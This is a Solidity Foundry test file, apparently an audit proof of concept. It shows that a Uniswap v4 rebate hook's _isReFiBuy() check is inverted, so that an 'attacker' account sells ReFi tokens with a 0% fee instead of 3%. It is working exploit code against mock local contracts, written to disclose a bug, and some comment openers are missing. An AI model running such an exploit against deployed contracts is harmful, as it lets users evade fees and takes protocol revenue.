pragma solidity ^0.8.26;
import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {ReFiSwapRebateHook} from "../src/RebateFiHook.sol";
import {Deployers} from "@uniswap/v4-core/test/utils/Deployers.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
* @title InvertedBuySellLogicPoC
* @notice Proves _isReFiBuy() returns inverted boolean, causing sellers to pay 0% fee instead of 3%
*
* Vulnerability: _isReFiBuy() has inverted return logic
* - When ReFi=currency0: returns zeroForOne (should be !zeroForOne)
* - When ReFi=currency1: returns !zeroForOne (should be zeroForOne)
*
* Impact: Sellers escape 3% fee, buyers get charged 3% fee (complete inversion)
* This PoC demonstrates sellers paying 0% instead of 3%
*/
contract InvertedBuySellLogicPoC is Test, Deployers, ERC1155TokenReceiver {
ReFiSwapRebateHook public rebateHook;
MockERC20 public token;
MockERC20 public reFiToken;
Currency tokenCurrency;
Currency reFiCurrency;
address attacker = address(0xAAAA);
function setUp() public {
deployFreshManagerAndRouters();
token = new MockERC20("TOKEN", "TKN", 18);
tokenCurrency = Currency.wrap(address(token));
reFiToken = new MockERC20("ReFi Token", "ReFi", 18);
reFiCurrency = Currency.wrap(address(reFiToken));
token.mint(address(this), 1000 ether);
token.mint(attacker, 1000 ether);
reFiToken.mint(address(this), 1000 ether);
reFiToken.mint(attacker, 1000 ether);
bytes memory creationCode = type(ReFiSwapRebateHook).creationCode;
bytes memory constructorArgs = abi.encode(manager, address(reFiToken));
uint160 flags = uint160(
Hooks.BEFORE_INITIALIZE_FLAG |
Hooks.AFTER_INITIALIZE_FLAG |
Hooks.BEFORE_SWAP_FLAG
);
(address hookAddress, bytes32 salt) = HookMiner.find(
address(this),
flags,
creationCode,
constructorArgs
);
rebateHook = new ReFiSwapRebateHook{salt: salt}(manager, address(reFiToken));
require(address(rebateHook) == hookAddress, "Hook address mismatch");
token.approve(address(swapRouter), type(uint256).max);
token.approve(address(modifyLiquidityRouter), type(uint256).max);
reFiToken.approve(address(swapRouter), type(uint256).max);
reFiToken.approve(address(modifyLiquidityRouter), type(uint256).max);
(key, ) = initPool(
tokenCurrency,
reFiCurrency,
rebateHook,
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1
);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1,
sqrtPriceAtTickUpper,
100 ether
);
modifyLiquidityRouter.modifyLiquidity(
key,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
}
* @notice MAIN PoC: Sellers escape 3% fee due to inverted _isReFiBuy() logic
*
* Expected behavior:
* - Seller executes SELL (zeroForOne=false, ReFi→TOKEN)
* - _isReFiBuy() should return FALSE (NOT buying)
* - _beforeSwap() applies sellFee (3%)
* - Seller pays 3% fee on output
*
* Actual behavior (BUGGY):
* - Seller executes SELL (zeroForOne=false, ReFi→TOKEN)
* - _isReFiBuy() returns TRUE (WRONG! Should be FALSE)
* - _beforeSwap() applies buyFee (0%)
* - Seller pays 0% fee (ESCAPED FEE)
*/
function test_sellers_escape_3_percent_fee() public {
uint256 reFiToSell = 10 ether;
vm.startPrank(attacker);
reFiToken.approve(address(swapRouter), type(uint256).max);
uint256 tokenBefore = token.balanceOf(attacker);
SwapParams memory params = SwapParams({
zeroForOne: false,
amountSpecified: -int256(reFiToSell),
sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
});
PoolSwapTest.TestSettings memory testSettings = PoolSwapTest.TestSettings({
takeClaims: false,
settleUsingBurn: false
});
swapRouter.swap(key, params, testSettings, ZERO_BYTES);
vm.stopPrank();
uint256 tokenAfter = token.balanceOf(attacker);
uint256 tokenReceived = tokenAfter - tokenBefore;
console.log("ReFi sold:", reFiToSell / 1e18);
console.log("TOKEN received:", tokenReceived / 1e18);
console.log("Fee applied: 0% (should be 3%)");
assert(tokenReceived > 0);
console.log(" VULNERABILITY CONFIRMED: Seller escaped 3% fee");
}
}